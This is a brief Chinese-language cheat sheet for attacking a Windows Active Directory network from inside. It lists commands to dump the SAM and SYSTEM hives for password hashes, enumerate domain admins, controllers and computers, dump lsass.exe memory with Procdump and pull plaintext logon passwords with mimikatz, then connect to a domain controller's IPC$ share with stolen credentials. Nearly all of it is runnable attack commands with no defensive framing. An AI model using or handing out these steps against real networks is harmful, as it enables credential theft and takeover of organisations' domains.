内网域渗透

导出本地管理员 Hash
reg save hklm\sam sam.hive
reg save hklm\system system.hive

1.获得域管理员帐号 net group “domain admins” /domain
2.获得域控制器 net group “domain controllers” /domain
3.获得域名 net view /domain
4.获得域管理员密码 http://blog.csdn.net/yiyefangzhou24/article/details/11760277

Procdump.exe -accepteula -ma lsass.exe lsass.dmp
下载地址:http://technet.microsoft.com/en-us/sysinternals/dd996900
mimikatz #sekurlsa::minidump lsass.dmp
Switch to MINIDUMP
mimikatz # sekurlsa::logonPasswords full

5.域中有多少台机器
net group "domain computers" /domain

获得域控ip: ping 域控服务器名称
ipc$ net use \\域控ip\ipc$ "password" /user:"username"
net use \\连接的ip\ipc$ /del 断开正在连接的ipc$